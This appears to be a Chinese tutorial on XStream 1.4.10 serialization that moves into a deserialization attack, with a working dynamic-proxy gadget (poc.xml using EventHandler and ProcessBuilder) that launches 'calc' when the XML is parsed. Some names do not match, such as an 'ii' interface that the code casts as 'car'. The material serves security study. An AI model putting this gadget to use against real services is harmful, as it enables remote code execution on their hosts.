一、XStream的基本用法
依赖: <dependencies> <dependency> <groupId>com.thoughtworks.xstream</groupId> <artifactId>xstream</artifactId> <version>1.4.10</version> </dependency> </dependencies> 类: //Person.java public class Person { private String name; private int age; public Person(String name,int age) { this.name=name; this.age=age; } public String toString() { return "Person [name=" + name + ", age=" + age + "]"; } } 序列化与反序列化: //Serializa.java import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; public class Serialize { public static void main(String[] args) throws Exception { //序列化 Person person = new Person("econ", 1); XStream xstream = new XStream(new DomDriver()); String xml = xstream.toXML(person); System.out.println(xml); /** <Person> <name>econ</name> <age>1</age> </Person> **/ //反序列化 person = (Person) xstream.fromXML(xml); System.out.println(person); //Person [name=econ, age=1] } }
二、基于动态代理漏洞的序列化与反序列化
基础:
Java反射
Java代理模式 - 静态|动态
基于InvocationHandler | EventHandler | Proxy 构造 Gadget
//HelloService接口 interface HelloService { void sayHello(); void goodBye(); } //委托类 public class HelloServiceImpl implements HelloService { public void sayHello() { System.out.println("hello world."); } public void goodBye() { System.out.println("goodBye!"); } } //EventHandlerTest.java import java.beans.EventHandler; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; public class EventHandlerTest { public static void main(String[] args){ HelloService hs = new HelloServiceImpl(); InvocationHandler ih = new EventHandler(new java.lang.ProcessBuilder("calc"),"start",null,null); HelloService dp = (HelloService) Proxy.newProxyInstance(hs.getClass().getClassLoader(), hs.getClass().getInterfaces(),ih); dp.sayHello(); dp.goodBye(); } }
XStream 反序列化调用栈分析
1.DynamicProxyConverter.java 2.AbstractReferenceUnmarshaller.java 3.ReflectionConverter.java
XStream gadget构造
//ii 接口 public interface ii { void start(); void run(); void stop(); } //poc.xml <dynamic-proxy> <interface>com.huawei.XtreamTest.car</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> //poc.java import com.thoughtworks.xstream.XStream; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.InputStream; class poc { public void poc() throws FileNotFoundException { String path = this.getClass().getClassLoader().getResource("poc.xml").getPath(); InputStream in = new FileInputStream(path); XStream xs = new XStream(); car c = (car) xs.fromXML(in); c.run(); } public static void main(String[] args) throws FileNotFoundException { poc poc1 = new poc(); poc1.poc(); } }